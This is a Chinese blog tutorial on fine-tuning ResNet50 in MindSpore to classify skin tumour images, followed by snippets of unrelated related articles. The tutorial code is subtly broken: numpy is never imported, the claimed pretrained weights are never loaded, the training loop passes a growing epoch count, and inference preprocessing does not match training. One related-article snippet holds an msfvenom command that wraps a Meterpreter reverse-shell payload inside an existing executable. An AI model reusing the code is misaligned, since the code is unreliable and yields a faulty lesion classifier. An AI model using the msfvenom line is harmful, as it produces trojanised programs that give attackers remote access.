昇思学习打卡营第33天|基于MindSpore的恶性皮肤肿瘤识别
1. 实验介绍
本次实验的目标是基于MindSpore框架,训练一个ResNet50模型,用于恶性皮肤肿瘤的分类识别。本实验将使用包含四类皮肤肿瘤图片的数据集,针对ResNet50模型进行微调,训练出一个能够精准分类皮肤病的模型。主要过程包括数据处理、模型搭建与训练、性能评估以及模型推理。
1.1 实验目标
- 掌握使用MindSpore进行深度学习模型训练的基本流程;
- 了解ResNet50模型的结构及其在图像分类中的应用;
- 学习如何针对特定数据集(皮肤病图片)进行模型微调和参数优化。
1.2 使用工具
- MindSpore框架:开源的AI计算框架,适用于多场景应用,支持端、边、云等多种部署环境。
- ResNet50模型:一种经典的深度残差网络,能够有效解决深层网络的梯度消失问题。
- 昇思大模型平台:基于昇思MindSpore的深度学习平台,提供丰富的模型库和强大的计算资源。
1.3 实验步骤
- 数据准备:收集并处理皮肤病数据集,确保数据质量;
- 模型选择:使用MindSpore提供的ResNet50预训练模型进行微调;
- 模型训练:配置训练参数,启动模型训练;
- 模型评估:通过验证集评估模型性能,进行超参数调整;
- 模型推理:部署训练好的模型进行恶性皮肤肿瘤识别。
2. 数据集处理
2.1 数据集介绍
该实验数据集包含四类皮肤病图片,分别为:
- 基底细胞癌(Basal Cell Carcinoma):最常见的皮肤癌,通常不扩散但有局部侵袭性;
- 黑色素瘤(Melanoma):最严重的皮肤癌,易扩散至其他部位,需早期发现治疗;
- 色素性良性角化病(Pigmented Benign Keratosis):良性皮肤病变,表现为皮肤上的色素斑块;
- 痣(Nevus):通常为良性的色素痣,但某些情况下可能发生恶变。
2.2 数据集获取和整理
数据集的下载链接为:https://xihe.mindspore.cn/datasets/knoka/pifudata_Maker/tree
。数据集包含4个分类,每类有若干图片,且已划分为训练集和验证集。
接下来,我们将通过代码下载并解压数据集,同时将数据集文件夹按编号进行重命名,方便后续的加载和使用。
# 重命名数据集文件夹,方便后续处理
import os# 定义疾病名称和编号的映射
diseases = {0: "basal_cell_carcinoma",1: "melanoma",2: "nevus",3: "pigmented_benign_keratosis",
}# 定义目标文件夹路径
target_directory = "pifudata_Maker/images/"# 重命名文件夹
for folder in ["train", "val"]:folder_path = os.path.join(target_directory, folder)for number, disease in diseases.items():old_folder_path = os.path.join(folder_path, disease)new_folder_path = os.path.join(folder_path, str(number))os.rename(old_folder_path, new_folder_path)
2.3 数据可视化
数据集中的每个类别的图片数量如下:
- 训练集:Nevus(357张)、Melanoma(438张)、Pigmented Benign Keratosis(462张)、Basal Cell Carcinoma(376张);
- 验证集:每类均为16张。
为了更直观地了解数据集分布,我们绘制了训练集和验证集的类别分布图。
import os
import matplotlib.pyplot as plt# 数据集路径
data_path_train = "pifudata_Maker/images/train"
data_path_val = "pifudata_Maker/images/val"# 统计每个类别的图片数量
file_counts_train = {}
file_counts_val = {}# 获取训练集和验证集的数据分布
for folder_name in os.listdir(data_path_train):folder_path = os.path.join(data_path_train, folder_name)count = len(os.listdir(folder_path))file_counts_train[folder_name] = countfor folder_name in os.listdir(data_path_val):folder_path = os.path.join(data_path_val, folder_name)count = len(os.listdir(folder_path))file_counts_val[folder_name] = count# 绘制图像
categories = list(file_counts_train.keys())
plt.figure(figsize=(12, 8))# 绘制训练集和验证集的条形图
plt.bar(categories, file_counts_train.values(), width=0.4, color='blue', label='Train')
plt.bar([x + 0.4 for x in range(len(categories))], file_counts_val.values(), width=0.4, color='green', label='Validation')# 添加标签与图例
plt.xlabel('Category')
plt.ylabel('Number of Images')
plt.legend()
plt.show()
2.4 数据加载
我们将通过MindSpore的ImageFolderDataset
加载数据集,并定义数据增强操作来提高模型的泛化能力。训练集进行随机裁剪和翻转等增强操作,验证集只进行基本的归一化处理。
import mindspore.dataset as ds
import mindspore.dataset.vision as vision# 定义数据集加载函数
def create_dataset(dataset_path, usage):data_set = ds.ImageFolderDataset(dataset_path, shuffle=True)mean = [0.485 * 255, 0.456 * 255, 0.406 * 255]std = [0.229 * 255, 0.224 * 255, 0.225 * 255]if usage == "train":trans = [vision.RandomCropDecodeResize(size=224, scale=(0.08, 1.0)),vision.RandomHorizontalFlip(prob=0.5),vision.Normalize(mean=mean, std=std),vision.HWC2CHW()]else:trans = [vision.Decode(),vision.Resize(224),vision.Normalize(mean=mean, std=std),vision.HWC2CHW()]data_set = data_set.map(operations=trans, input_columns="image")data_set = data_set.batch(64)return data_set# 创建训练集和验证集
train_dataset = create_dataset("pifudata_Maker/images/train", "train")
val_dataset = create_dataset("pifudata_Maker/images/val", "val")
3. 模型训练
3.1 模型定义
我们将使用MindSpore自带的ResNet50预训练模型,并对其最后一层进行修改,使其适应四类皮肤病的分类任务。
from mindspore import nn
from mindspore import load_checkpoint, load_param_into_net# 定义ResNet50模型并加载预训练权重
def resnet50(num_classes=4, pretrained=True):net = nn.resnet50()in_channels = net.fc.in_channelsnet.fc = nn.Dense(in_channels, num_classes)return netnetwork = resnet50()
3.2 模型训练
我们使用Momentum优化器和交叉熵损失函数进行模型训练。每个epoch结束后,会在验证集上进行评估,并保存最佳模型。
from mindspore import train# 定义损失函数和优化器
loss_fn = nn.SoftmaxCrossEntropyWithLogits(sparse=True)
opt = nn.Momentum(params=network.trainable_params(), learning_rate=0.001, momentum=0.9)# 实例化模型
model = train.Model(network, loss_fn, opt, metrics={'accuracy'})# 训练模型
num_epochs = 25
best_acc = 0
for epoch in range(num_epochs):model.train(epoch, train_dataset)acc = model.eval(val_dataset)['accuracy']print(f'Epoch {epoch+1}/{num_epochs}, Accuracy: {acc}')if acc > best_acc:best_acc = accmodel.save_checkpoint('best_model.ckpt')
4. 模型推理
在模型推理部分,我们首先需要对输入的图像进行预处理,将其转换为适合模型输入的格式。预处理完成后,我们将调用训练好的模型进行预测,并展示最终的推理结果。
import matplotlib.pyplot as plt
import mindspore as ms# 定义图片预处理函数
def preprocess_image(image_path):from PIL import Imageimage = Image.open(image_path)image = image.convert('RGB') # 确保图像为RGB格式image = image.resize((224, 224)) # 调整大小image = np.array(image) / 255.0 # 归一化image = np.transpose(image, (2, 0, 1)) # 调整维度image = np.expand_dims(image, axis=0) # 增加batch维度return image.astype(np.float32)# 定义推理函数,加载模型并进行预测
def infer(image_path, checkpoint_path):# 加载预训练模型net = resnet50(num_classes=4)param_dict = ms.load_checkpoint(checkpoint_path)ms.load_param_into_net(net, param_dict)model = ms.Model(net)# 预处理输入图像image = preprocess_image(image_path)image_tensor = ms.Tensor(image)# 进行推理output = model.predict(image_tensor)predicted_class = np.argmax(output.asnumpy(), axis=1)[0]# 类别映射class_names = {0: "基底细胞癌",1: "黑色素瘤",2: "痣",3: "色素性良性角化病"}# 展示结果plt.imshow(np.transpose(image[0], (1, 2, 0)))plt.title(f"预测结果: {class_names[predicted_class]}")plt.axis('off')plt.show()# 调用推理函数,展示结果
infer('path/to/your/image.jpg', 'best_model.ckpt')
该推理函数会加载已经训练好的模型,并将输入图像转换为合适的格式,最后通过模型预测输出类别。我们将使用Matplotlib库展示预测结果,并标记图像的分类情况。
结语
在本次实验中,我们一起学习了如何使用MindSpore框架进行皮肤肿瘤识别的任务。通过数据预处理、ResNet50模型的搭建与微调,以及模型训练与推理,逐步构建了一个能够对皮肤病进行分类的模型。虽然深度学习在医学图像识别领域具有广泛的应用前景,但在实际操作中,我们仍需要不断调整和优化模型的各项参数,以获得更好的性能。
相信在实践的过程中,我们都能更加深入地理解这些技术背后的原理,并在今后的学习和项目中继续探索和应用。也希望我们在未来的研究中,能通过更多的尝试和合作,共同提升我们的技能和知识水平。学习是一个不断积累的过程,期待和大家一起继续进步!
如果你觉得这篇博文对你有帮助,请点赞、收藏、关注我,并且可以打赏支持我!
欢迎关注我的后续博文,我将分享更多关于人工智能、自然语言处理和计算机视觉的精彩内容。
谢谢大家的支持!
相关文章:

昇思学习打卡营第33天|基于MindSpore的恶性皮肤肿瘤识别
1. 实验介绍 本次实验的目标是基于MindSpore框架,训练一个ResNet50模型,用于恶性皮肤肿瘤的分类识别。本实验将使用包含四类皮肤肿瘤图片的数据集,针对ResNet50模型进行微调,训练出一个能够精准分类皮肤病的模型。主要过程包括数据…...

基于SpringBoot+Vue的网约车管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...
Java、PHP、ASP、JSP、Kotlin、.NET、Go
Java 1995年,Java诞生了,微软的Java是J#,早期是J. 它在C的基础上增强了安全性,不允许多重继承,堆栈不允许类对象,数组和枚举都是类对象。 Java的诞生 早期的Sun公司想要在消费级嵌入式设备编写可移植的代码…...

华为-单臂路由
1、什么是单臂路由 单臂路由(Single-Arm Routing)是一种网络架构和配置技术,它允许路由器通过一个物理接口来管理多个虚拟局域网(VLAN)之间的通信。 这个物理接口被配置为Trunk模式,以便能够传输来自不同VL…...

AI应用的东风,奥特曼不想错过
文|魏琳华 编|王一粟 作为炙手可热的AI公司,Open AI又一次拿到了一轮足以令对手眼红的巨额融资。10月2日,Open AI宣布顺利完成66亿美元融资,补上了烧钱研发亏损的同时,还为下一轮竞争拿到了资金支持。 跻…...

LeetCode[中等] 238. 除自身以外数组的乘积
给你一个整数数组 nums,返回 数组 answer ,其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法,且在 O(n) 时间复杂…...

Linux plt表调用汇编代码分析
linux调用共享库中的函数时通过plt表和got表实现位置无关代码,过程中涉及到lazy binding,即在第一调用外部函数时解析被调用的函数地址并将地址写入到got表,后续调用则不需要解析函数地址,具体过程如下 1.c程序如下 #include &l…...

ubunut声卡配置 播放视频没有声音的解决方法 蓝牙问题
文章目录 🌕ubuntu22.04网页没有声音,声卡提示Dummy Output🌙方法一:切换内核🌙方法二:UBUNTU 声卡提示Dummy Output或伪输出解决办法(2020.04.02🌙方法三:解决Ubuntu18.…...

《软件工程概论》作业一:新冠疫情下软件产品设计
课程说明:《软件工程概论》为浙江科技学院2018级软件工程专业在大二下学期开设的必修课。课程使用《软件工程导论(第6版)》(张海藩等编著,清华大学出版社)作为教材。以《软件设计文档国家标准GBT8567-2006》…...

大厂出来的人为什么不比你高效?
在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时…...

71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...
JavaScript 用HTML5约束验证API做表单验证
一、验证属性与通过与否 以下为在表单元素上的可用属性: required<boolean> 必填字段,接受布尔值,默认false pattern<string> 接受正则,用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法ÿ…...

Unity 编辑器多开
开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时,Unity Editor会在项目目录建立一个Temp目录,同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...

【Spring Boot React】Spring Boot和React教程 完整版
【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频,作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元,全栈开发,搭…...

Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...
《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...

征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...

我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...

MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...

01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...

ServerTrust 并非唯一
NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
【Go语言基础【12】】指针:声明、取地址、解引用
文章目录 零、概述:指针 vs. 引用(类比其他语言)一、指针基础概念二、指针声明与初始化三、指针操作符1. &:取地址(拿到内存地址)2. *:解引用(拿到值) 四、空指针&am…...

GruntJS-前端自动化任务运行器从入门到实战
Grunt 完全指南:从入门到实战 一、Grunt 是什么? Grunt是一个基于 Node.js 的前端自动化任务运行器,主要用于自动化执行项目开发中重复性高的任务,例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...

搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...

C++ 设计模式 《小明的奶茶加料风波》
👨🎓 模式名称:装饰器模式(Decorator Pattern) 👦 小明最近上线了校园奶茶配送功能,业务火爆,大家都在加料: 有的同学要加波霸 🟤,有的要加椰果…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...

《Docker》架构
文章目录 架构模式单机架构应用数据分离架构应用服务器集群架构读写分离/主从分离架构冷热分离架构垂直分库架构微服务架构容器编排架构什么是容器,docker,镜像,k8s 架构模式 单机架构 单机架构其实就是应用服务器和单机服务器都部署在同一…...